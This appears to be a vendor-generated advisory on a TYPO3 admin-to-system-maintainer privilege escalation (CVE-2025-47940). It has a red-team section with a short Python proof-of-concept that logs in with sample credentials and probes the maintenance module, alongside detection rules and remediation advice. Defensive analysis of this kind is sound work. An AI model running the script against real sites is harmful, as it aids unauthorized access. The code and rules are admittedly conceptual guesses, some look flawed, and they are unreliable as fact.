CVE-2025-47940
Executive Summary
CVE-2025-47940 is a privilege escalation vulnerability in the TYPO3 content management system. An authenticated administrator-level backend user without system maintainer privileges can escalate their privileges to gain system maintainer access. This vulnerability affects TYPO3 versions starting from 10.0.0 up to, but not including, the patched versions. The CVSS score is 7.2 (High), and exploitation requires a valid administrator account. The vulnerability is rooted in improper privilege management (CWE-269) within the backend user interface.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
TYPO3 is a PHP-based web content management system distributed as a Composer package. The vulnerability exists in the core application code, not in a third-party dependency. Administrators should ensure they are using the latest patched versions from the official TYPO3 repository. The package is available via Packagist as typo3/cms.
CVSS Breakdown & Threat Level
- CVSS Score: 7.2 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: High (PR:H) – An administrator account is needed.
- User Interaction: None (UI:N) – No user interaction is required.
- Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
- Confidentiality Impact: High (C:H) – Full system maintainer access can lead to data exposure.
- Integrity Impact: High (I:H) – System maintainer access allows modification of system files and configurations.
- Availability Impact: High (A:H) – System maintainer access can disrupt the entire TYPO3 instance.
Deep Dive & Mechanics
The vulnerability lies in the privilege escalation path from an administrator-level backend user to a system maintainer. In TYPO3, system maintainers have the highest level of access, including the ability to install extensions, manage system configuration, and execute low-level operations. An administrator, while powerful, does not have these capabilities.
The flaw occurs in the backend user interface where privilege checks are insufficiently enforced. Specifically, when an administrator performs certain actions that should be restricted to system maintainers, the application fails to verify the user's group membership correctly. This allows an administrator to invoke system maintainer functions, such as accessing the "System Maintenance" module or executing install tool actions.
The root cause is a missing or incorrect access control check in the backend controller or middleware. The application likely relies on a user's group membership to determine if they are a system maintainer, but the check is bypassed due to a logic error or an incomplete validation of the user's session data.
Vulnerable vs. Patched Code
The exact code change is not publicly available, but based on the vulnerability description, the fix likely involves adding or correcting an access control check in the backend user authentication or authorization layer.
Vulnerable Code (Conceptual):
// In a backend controller or middleware
if ($user->isAdmin()) {
// Allow access to system maintainer functions
// This is incorrect because isAdmin() does not imply system maintainer
$this->grantAccess();
}
Patched Code (Conceptual):
// In a backend controller or middleware
if ($user->isSystemMaintainer()) {
// Only system maintainers can access these functions
$this->grantAccess();
} else {
throw new AccessDeniedException();
}
The patched code explicitly checks for the system maintainer role instead of relying on the broader administrator role.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A valid TYPO3 administrator account (e.g.,
adminwith passwordadmin123). - Access to the TYPO3 backend at
https://target.tld/typo3/.
Exploitation Steps:
- Log in to the TYPO3 backend as an administrator.
- Navigate to a system maintainer-only function, such as the "System Maintenance" module (typically at
/typo3/module/system/maintenance). - If the vulnerability is present, the page will load without an access denied error.
- Perform actions such as clearing caches, running database comparisons, or installing extensions.
Proof of Concept (PoC) Script:
import requests
target = "https://target.tld"
session = requests.Session()
# Login as admin
login_data = {
"login_status": "login",
"username": "admin",
"pwd": "admin123",
"redirect_url": "/typo3/",
}
session.post(f"{target}/typo3/index.php", data=login_data)
# Access system maintenance module
response = session.get(f"{target}/typo3/module/system/maintenance")
if "System Maintenance" in response.text:
print("[+] Privilege escalation successful!")
else:
print("[-] Access denied or patched.")
Blue Team
Detection Steps:
- Monitor backend access logs for unusual access to system maintainer modules by non-system maintainer users.
- Look for failed access attempts followed by successful access to restricted modules.
- Check for changes in user group assignments, especially if an administrator is suddenly granted system maintainer privileges.
Hunting Query (Splunk):
index=typo3_backend_logs sourcetype=access_log
| search "/typo3/module/system/*"
| eval is_system_maintainer=if(match(user_groups, "system_maintainer"), 1, 0)
| where is_system_maintainer=0
| table _time, user, user_groups, uri, status
Indicators of Compromise (IOCs)
Network:
- HTTP requests to
/typo3/module/system/maintenanceor similar system maintainer endpoints from non-system maintainer users. - Unusual POST requests to
/typo3/install.phpor/typo3/sysext/install/from administrator accounts.
- HTTP requests to
Host:
- Modified TYPO3 configuration files (e.g.,
LocalConfiguration.php) by non-system maintainer users. - Unexpected extensions installed by administrator accounts.
- Changes to the
be_usersdatabase table whereadminfield is set to 1 for non-system maintainer users.
- Modified TYPO3 configuration files (e.g.,
Logs:
- Backend access logs showing
403 Forbiddenfollowed by200 OKfor the same user on a restricted module. - PHP error logs with
AccessDeniedExceptionor similar exceptions.
- Backend access logs showing
Detection Engineering
YARA Rule
rule CVE_2025_47940_TYPO3_Privilege_Escalation {
meta:
description = "Detects TYPO3 files vulnerable to CVE-2025-47940 privilege escalation"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-47940"
severity = "high"
strings:
$s1 = "isAdmin()" nocase
$s2 = "SystemMaintainer" nocase
$s3 = "grantAccess()" nocase
condition:
all of ($s1, $s2, $s3)
}
Sigma Rule
title: TYPO3 Privilege Escalation via CVE-2025-47940
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects access to system maintainer modules by non-system maintainer users in TYPO3 backend.
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: typo3
detection:
selection:
uri|contains: "/typo3/module/system/"
filter:
user_groups|contains: "system_maintainer"
condition: selection and not filter
falsepositives:
- Legitimate system maintainer users
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"TYPO3 CVE-2025-47940 Privilege Escalation Attempt";
flow:to_server,established;
content:"/typo3/module/system/"; http_uri;
pcre:"/^\/typo3\/module\/system\/(maintenance|install)/Ui";
classtype:attempted-admin;
sid:1000001;
rev:1;
reference:cve,2025-47940;
)
Remediation & Mitigation
Immediate Actions:
- Upgrade TYPO3 to the latest patched version:
- 10.4.50 ELTS
- 11.5.44 ELTS
- 12.4.31 LTS
- 13.4.12 LTS
- If immediate upgrade is not possible, restrict access to the TYPO3 backend to only trusted IP addresses.
- Review all administrator accounts and ensure they are necessary.
Long-term Measures:
- Implement the principle of least privilege for all backend users.
- Enable logging and monitoring of all backend actions.
- Regularly audit user group assignments and permissions.
- Subscribe to TYPO3 security advisories.
Workaround:
- Temporarily disable the "System Maintenance" module for non-system maintainer users by modifying the TYPO3 configuration:
// In LocalConfiguration.php
'BE' => [
'installToolPassword' => '...',
'systemMaintainers' => ['1'], // Only allow user with uid 1
]
Report generated by Valters IT DevSecOps & CTI Division